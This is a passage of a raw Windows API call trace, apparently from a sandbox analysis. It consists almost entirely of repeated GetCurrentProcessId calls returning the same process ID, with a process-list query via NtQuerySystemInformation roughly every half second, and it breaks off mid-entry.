GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.192] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.193] GetCurrentProcessId () returned 0x10c0 [0270.194] GetCurrentProcessId () returned 0x10c0 [0270.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.732] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.733] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.734] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.735] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.736] GetCurrentProcessId () returned 0x10c0 [0270.737] GetCurrentProcessId () returned 0x10c0 [0270.737] GetCurrentProcessId () returned 0x10c0 [0270.737] GetCurrentProcessId () returned 0x10c0 [0270.737] GetCurrentProcessId () returned 0x10c0 [0271.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.278] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.279] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.280] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.281] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.282] GetCurrentProcessId () returned 0x10c0 [0271.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0271.837] GetCurrentProcessId () returned 0x10c0 [0271.837] GetCurrentProcessId () returned 0x10c0 [0271.837] GetCurrentProcessId () returned 0x10c0 [0271.837] GetCurrentProcessId () returned 0x10c0 [0271.837] GetCurrentProcessId () returned 0x10c0 [0271.837] GetCurrentProcessId () returned 0x10c0 [0271.837] GetCurrentProcessId () returned 0x10c0 [0271.837] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.838] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.839] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.840] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.841] GetCurrentProcessId () returned 0x10c0 [0271.842] GetCurrentProcessId () returned 0x10c0 [0271.842] GetCurrentProcessId () returned 0x10c0 [0271.842] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0271.854] GetCurrentProcessId () returned 0x10c0 [0272.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.388] GetCurrentProcessId () returned 0x10c0 [0272.389] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.390] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.391] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.392] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.393] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.394] GetCurrentProcessId () returned 0x10c0 [0272.395] GetCurrentProcessId () returned 0x10c0 [0272.395] GetCurrentProcessId () returned 0x10c0 [0272.395] GetCurrentProcessId () returned 0x10c0 [0272.918] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0272.930] GetCurrentProcessId () returned 0x10c0 [0272.930] GetCurrentProcessId () returned 0x10c0 [0272.930] GetCurrentProcessId () returned 0x10c0 [0272.930] GetCurrentProcessId () returned 0x10c0 [0272.930] GetCurrentProcessId () returned 0x10c0 [0272.930] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.931] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.932] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () returned 0x10c0 [0272.933] GetCurrentProcessId () 